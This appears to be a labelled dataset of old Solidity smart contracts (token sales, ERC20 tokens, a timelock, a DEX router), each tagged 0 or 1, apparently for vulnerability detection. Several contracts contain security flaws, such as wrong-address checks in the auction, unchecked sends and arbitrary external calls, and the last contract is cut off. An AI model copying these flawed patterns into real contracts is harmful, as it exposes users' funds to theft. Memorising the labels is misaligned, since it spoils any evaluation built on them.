pragma solidity ^0.4.15; contract iERC20Token { function totalSupply() constant returns (uint supply); function balanceOf( address who ) constant returns (uint value); function allowance( address owner, address spender ) constant returns (uint remaining); function transfer( address to, uint value) returns (bool ok); function transferFrom( address from, address to, uint value) returns (bool ok); function approve( address spender, uint value ) returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract iBurnableToken is iERC20Token { function burnTokens(uint _burnCount) public; function unPaidBurnTokens(uint _burnCount) public; } contract SafeMath { function SafeMath() { } function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract TokenAuction is SafeMath { struct SecretBid { bool disqualified; uint deposit; uint refund; uint tokens; bytes32 hash; } uint constant AUCTION_START_EVENT = 0x01; uint constant AUCTION_END_EVENT = 0x02; uint constant SALE_START_EVENT = 0x04; uint constant SALE_END_EVENT = 0x08; event SecretBidEvent(uint indexed batch, address indexed bidder, uint deposit, bytes32 hash, bytes message); event ExecuteEvent(uint indexed batch, address indexed bidder, uint cost, uint refund); event ExpireEvent(uint indexed batch, address indexed bidder, uint cost, uint refund); event BizarreEvent(address indexed addr, string message, uint val); event StateChangeEvent(uint mask); bool public isLocked; uint public stateMask; address public owner; address public developers; address public underwriter; iBurnableToken public token; uint public proceeds; uint public strikePrice; uint public strikePricePctX10; uint public developerReserve; uint public developerPctX10; uint public purchasedCount; uint public secretBidCount; uint public executedCount; uint public expiredCount; uint public saleDuration; uint public auctionStart; uint public auctionEnd; uint public saleEnd; mapping (address => SecretBid) public secretBids; uint batchSize = 4; uint contractSendGas = 100000; modifier ownerOnly { require(msg.sender == owner); _; } modifier unlockedOnly { require(!isLocked); _; } modifier duringAuction { require((stateMask & (AUCTION_START_EVENT | AUCTION_END_EVENT)) == AUCTION_START_EVENT); _; } modifier afterAuction { require((stateMask & AUCTION_END_EVENT) != 0); _; } modifier duringSale { require((stateMask & (SALE_START_EVENT | SALE_END_EVENT)) == SALE_START_EVENT); _; } modifier afterSale { require((stateMask & SALE_END_EVENT) != 0); _; } function TokenAuction() { owner = msg.sender; } function lock() public ownerOnly { isLocked = true; } function setAuctionParms(iBurnableToken _token, address _underwriter, uint _auctionStart, uint _auctionDuration, uint _saleDuration) public ownerOnly unlockedOnly { token = _token; underwriter = _underwriter; auctionStart = _auctionStart; auctionEnd = safeAdd(_auctionStart, _auctionDuration); saleDuration = _saleDuration; if (stateMask != 0) { stateMask = 0; strikePrice = 0; purchasedCount = 0; houseKeep(); } } function reserveDeveloperTokens(address _developers, uint _developerPctX10) public ownerOnly unlockedOnly { developers = _developers; developerPctX10 = _developerPctX10; uint _tokenCount = token.balanceOf(this); developerReserve = (safeMul(_tokenCount, developerPctX10) / 1000); } function tune(uint _batchSize, uint _contractSendGas) public ownerOnly { batchSize = _batchSize; contractSendGas = _contractSendGas; } function houseKeep() public { uint _oldMask = stateMask; if (now >= auctionStart) { stateMask |= AUCTION_START_EVENT; if (now >= auctionEnd) { stateMask |= AUCTION_END_EVENT; if (strikePrice > 0) { stateMask |= SALE_START_EVENT; if (now >= saleEnd) stateMask |= SALE_END_EVENT; } } } if (stateMask != _oldMask) StateChangeEvent(stateMask); } function setStrikePrice(uint _strikePrice, uint _strikePricePctX10) public ownerOnly afterAuction { require(executedCount == 0); strikePrice = _strikePrice; strikePricePctX10 = _strikePricePctX10; saleEnd = safeAdd(now, saleDuration); houseKeep(); } function () payable { proceeds = safeAdd(proceeds, msg.value); BizarreEvent(msg.sender, "bizarre payment", msg.value); } function depositSecretBid(bytes32 _hash, bytes _message) public duringAuction payable { if (!(msg.sender == owner && !isLocked) && (_hash == 0 || secretBids[msg.sender].hash != 0) ) revert(); secretBids[msg.sender].hash = _hash; secretBids[msg.sender].deposit = msg.value; secretBidCount += 1; uint _batch = secretBidCount / batchSize; SecretBidEvent(_batch, msg.sender, msg.value, _hash, _message); } function disqualifyBid(address _from) public ownerOnly duringAuction { secretBids[msg.sender].disqualified = true; } function executeBid(uint256 _secret, uint256 _price, uint256 _quantity) public duringSale { executeBidFor(msg.sender, _secret, _price, _quantity); } function executeBidFor(address _addr, uint256 _secret, uint256 _price, uint256 _quantity) public duringSale { bytes32 computedHash = keccak256(_secret, _price, _quantity); require(secretBids[_addr].hash == computedHash); if (secretBids[_addr].deposit > 0) { uint _cost = 0; uint _refund = 0; if (_price >= strikePrice && !secretBids[_addr].disqualified) { uint256 _purchaseCount = (_price > strikePrice) ? _quantity : (safeMul(strikePricePctX10, _quantity) / 1000); var _maxPurchase = token.balanceOf(this) - developerReserve; if (_purchaseCount > _maxPurchase) _purchaseCount = _maxPurchase; _cost = safeMul(_purchaseCount, strikePrice); if (secretBids[_addr].deposit >= _cost) { secretBids[_addr].deposit -= _cost; proceeds = safeAdd(proceeds, _cost); secretBids[_addr].tokens += _purchaseCount; purchasedCount += _purchaseCount; if (!token.transfer(_addr, _purchaseCount)) revert(); } } if (secretBids[_addr].deposit > 0) { _refund = secretBids[_addr].deposit; secretBids[_addr].refund += _refund; secretBids[_addr].deposit = 0; } executedCount += 1; uint _batch = executedCount / batchSize; ExecuteEvent(_batch, _addr, _cost, _refund); } } function expireBid(address _addr) public ownerOnly afterSale { if (secretBids[_addr].deposit > 0) { uint _forfeit = secretBids[_addr].deposit / 2; proceeds = safeAdd(proceeds, _forfeit); uint _refund = safeSub(secretBids[_addr].deposit, _forfeit); secretBids[msg.sender].refund += _refund; secretBids[_addr].deposit = 0; expiredCount += 1; uint _batch = expiredCount / batchSize; ExpireEvent(_batch, _addr, _forfeit, _refund); } } function withdrawRefund() public { uint _amount = secretBids[msg.sender].refund; secretBids[msg.sender].refund = 0; msg.sender.transfer(_amount); } function doDeveloperGrant() public afterSale { uint _quantity = purchasedCount * developerPctX10 / 1000; var _tokensLeft = token.balanceOf(this); if (_quantity > _tokensLeft) _quantity = _tokensLeft; if (_quantity > 0) { _tokensLeft -= _quantity; if (!token.transfer(developers, _quantity)) revert(); } token.unPaidBurnTokens(_tokensLeft); } function payUnderwriter() public { require(msg.sender == owner || msg.sender == underwriter); uint _amount = proceeds; proceeds = 0; if (!underwriter.call.gas(contractSendGas).value(_amount)()) revert(); } function haraKiri() ownerOnly unlockedOnly { selfdestruct(owner); } }
0
pragma solidity ^0.4.21; contract SafeMath { function safeSub(uint a, uint b) pure internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } } contract ERC20 { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function allowance(address owner, address spender) public constant returns (uint); function transfer(address toAddress, uint value) public returns (bool ok); function transferFrom(address fromAddress, address toAddress, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); event Transfer(address indexed fromAddress, address indexed toAddress, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is ERC20, SafeMath { mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract YDTC is StandardToken { string public name = "YDTC"; string public symbol = "YD"; uint public decimals = 18; uint public totalSupply = 10 * 100 * 1000 * 1000 ether; function YDTC() public { balances[msg.sender] = totalSupply; } }
1
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function() public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return BasicToken(tokenAddress).transfer(owner, tokens); } function multiSend(address[] _toAddresses, uint256[] _amounts) public { require(_toAddresses.length <= 255); require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public { require(_toAddresses.length <= 255); require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract WATToken is StandardToken, BurnableToken { string public constant name = "Watt Token"; string public constant symbol = "WAT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
1
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BANQUEUNIVERSAL { string public constant name = "BANQUEUNIVERSAL"; string public constant symbol = "CBU"; uint8 public constant decimals = 0; uint public _totalSupply = 10000000000; uint256 public RATE = 1; bool public isMinting = true; string public constant generatedBy = "Togen.io by Proof Suite"; using SafeMath for uint256; address public owner; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } mapping(address => uint256) balances; mapping(address => mapping(address=>uint256)) allowed; function () payable{ createTokens(); } constructor() public { owner = 0x09688bcace74aa3a3594d1c188c9de591979c166; balances[owner] = _totalSupply; } function burnTokens(uint256 _value) onlyOwner { require(balances[msg.sender] >= _value && _value > 0 ); _totalSupply = _totalSupply.sub(_value); balances[msg.sender] = balances[msg.sender].sub(_value); } function createTokens() payable { if(isMinting == true){ require(msg.value > 0); uint256 tokens = msg.value.div(100000000000000).mul(RATE); balances[msg.sender] = balances[msg.sender].add(tokens); _totalSupply = _totalSupply.add(tokens); owner.transfer(msg.value); } else{ throw; } } function endCrowdsale() onlyOwner { isMinting = false; } function changeCrowdsaleRate(uint256 _value) onlyOwner { RATE = _value; } function totalSupply() constant returns(uint256){ return _totalSupply; } function balanceOf(address _owner) constant returns(uint256){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns(bool) { require(balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool) { require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns(bool){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns(uint256){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
1
pragma solidity ^0.4.16; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract PJRToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function PJRToken( ) { balances[msg.sender] = 120000000000000000000000000; totalSupply = 120000000000000000000000000; name = "PJRToken"; decimals = 18; symbol = "PJR"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30585600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x9c36C816e664b5bB34bBe357D6B4AfbD57497670; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint a, uint b) pure internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) pure internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) pure internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) pure internal returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) pure internal returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) pure internal returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) pure internal returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public; function transferFrom(address _from, address _to, uint _value) public; function approve(address _spender, uint _value) public; function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract KyberNetworkContract { function trade( ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId ) public payable returns(uint); function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint); } interface KULAPTradingProxy { event Trade( ERC20 src, uint srcAmount, ERC20 dest, uint destAmount); function trade( ERC20 src, uint srcAmount, ERC20 dest ) public payable returns(uint); function rate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint); } contract Dex is Ownable { event Trade( ERC20 src, uint srcAmount, ERC20 dest, uint destAmount); using SafeMath for uint256; ERC20 public etherERC20 = ERC20(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); address public dexWallet = 0x7ff0F1919424F0D2B6A109E3139ae0f1d836D468; KULAPTradingProxy[] public tradingProxies; function _tradeEtherToToken(uint256 tradingProxyIndex, uint256 srcAmount, ERC20 dest) private returns(uint256) { KULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex]; uint256 destAmount = tradingProxy.trade.value(srcAmount)( etherERC20, srcAmount, dest ); return destAmount; } function () payable { } function _tradeTokenToEther(uint256 tradingProxyIndex, ERC20 src, uint256 amount) private returns(uint256) { KULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex]; src.approve(tradingProxy, amount); uint256 destAmount = tradingProxy.trade( src, amount, etherERC20); return destAmount; } function _trade(uint256 tradingProxyIndex, ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minDestAmount) private returns(uint256) { uint256 destAmount; if (etherERC20 == src) { destAmount = _tradeEtherToToken(tradingProxyIndex, srcAmount, dest); } else if (etherERC20 == dest) { destAmount = _tradeTokenToEther(tradingProxyIndex, src, srcAmount); } else { } assert(destAmount >= minDestAmount); return destAmount; } function trade(uint256 tradingProxyIndex, ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minDestAmount) payable public returns(uint256) { uint256 destAmount; if (etherERC20 == src) { destAmount = _trade(tradingProxyIndex, src, srcAmount, dest, 1); assert(destAmount >= minDestAmount); dest.transfer(msg.sender, destAmount); } else if (etherERC20 == dest) { src.transferFrom(msg.sender, address(this), srcAmount); destAmount = _trade(tradingProxyIndex, src, srcAmount, dest, 1); assert(destAmount >= minDestAmount); msg.sender.send(destAmount); } else { } Trade( src, srcAmount, dest, destAmount); return destAmount; } function tradeRoutes(ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minDestAmount, address[] _tradingPaths) payable public returns(uint256) { uint256 destAmount; if (etherERC20 != src) { src.transferFrom(msg.sender, address(this), srcAmount); } uint256 pathSrcAmount = srcAmount; for (uint i=0; i < _tradingPaths.length; i+=3) { uint256 tradingProxyIndex = uint256(_tradingPaths[i]); ERC20 pathSrc = ERC20(_tradingPaths[i+1]); ERC20 pathDest = ERC20(_tradingPaths[i+2]); destAmount = _trade(tradingProxyIndex, pathSrc, pathSrcAmount, pathDest, 1); pathSrcAmount = destAmount; } assert(destAmount >= minDestAmount); if (etherERC20 == dest) { msg.sender.send(destAmount); } else { dest.transfer(msg.sender, destAmount); } Trade( src, srcAmount, dest, destAmount); return destAmount; } function rate(uint256 tradingProxyIndex, ERC20 src, ERC20 dest, uint srcAmount) public view returns(uint, uint) { KULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex]; return tradingProxy.rate(src, dest, srcAmount); } function addTradingProxy( KULAPTradingProxy _proxyAddress ) public onlyOwner returns (uint256) { tradingProxies.push( _proxyAddress ); return tradingProxies.length; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract FRED_TOKEN { using SafeMath for uint256; string public constant name = "Fred Token"; string public symbol = "FRED"; uint256 public constant decimals = 18; uint256 public hardCap = 1000000 * (10 ** decimals); uint256 public totalSupply; address public owner; uint256 public valInt; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function FRED_TOKEN() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function mint(address _user, uint256 _tokensAmount) public onlyOwner returns(bool) { uint256 newSupply = totalSupply.add(_tokensAmount); require( _user != address(0) && _tokensAmount > 0 && newSupply < hardCap ); balances[_user] = balances[_user].add(_tokensAmount); totalSupply = newSupply; Transfer(0x0, _user, _tokensAmount); return true; } function transfer(address _to, uint256 _value) public returns (bool) { require( _to != address(0) && balances[msg.sender] >= _value && balances[_to] + _value > balances[_to] ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require ( _from != address(0) && _to != address(0) && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to] ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function setValInt(uint256 _valInt) external onlyOwner { valInt = _valInt; } function balanceOf(address _owner) external view returns (uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) external view returns (uint256) { return allowed[_owner][_spender]; } }
1
pragma solidity ^0.4.19; contract Token { function transfer(address _to, uint _value) returns (bool success); function balanceOf(address _owner) constant returns (uint balance); } contract FruitFarm { address owner; function FruitFarm() { owner = msg.sender; } function getTokenBalance(address tokenContract) public returns (uint balance){ Token tc = Token(tokenContract); return tc.balanceOf(this); } function withdrawTokens(address tokenContract) public { Token tc = Token(tokenContract); tc.transfer(owner, tc.balanceOf(this)); } function withdrawEther() public { owner.transfer(this.balance); } function getTokens(uint num, address tokenBuyerContract) public { tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); tokenBuyerContract.call.value(0 wei)(); } }
1
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner, "Not Contract Owner"); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract WPGBaseCoin { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor (uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0, "Do not send to 0x0"); require(balanceOf[_from] >= _value, "Sender balance is too small"); require(balanceOf[_to] + _value > balanceOf[_to], "balanceOf[_to] Overflow Error"); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender], "Allowance value is smaller than _value"); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value, "Burn Balance of sender is smaller than _value"); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value, "From balance is smaller than _value"); require(_value <= allowance[_from][msg.sender], "Allowance balance is smaller than _value"); balanceOf[_from] = balanceOf[_from].sub(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); return true; } } contract WPGCoin is owned, WPGBaseCoin { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor (uint256 initialSupply, string tokenName, string tokenSymbol) WPGBaseCoin(initialSupply, tokenName, tokenSymbol) public { } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0, "Do not send to 0x0"); require (balanceOf[_from] >= _value, "Sender balance is too small"); require (balanceOf[_to] + _value >= balanceOf[_to], "balanceOf[_to] Overflow Error"); require(!frozenAccount[_from], "From Account is Frozen"); require(!frozenAccount[_to], "To Acoount is Frozen"); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) public onlyOwner { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) public onlyOwner{ frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function 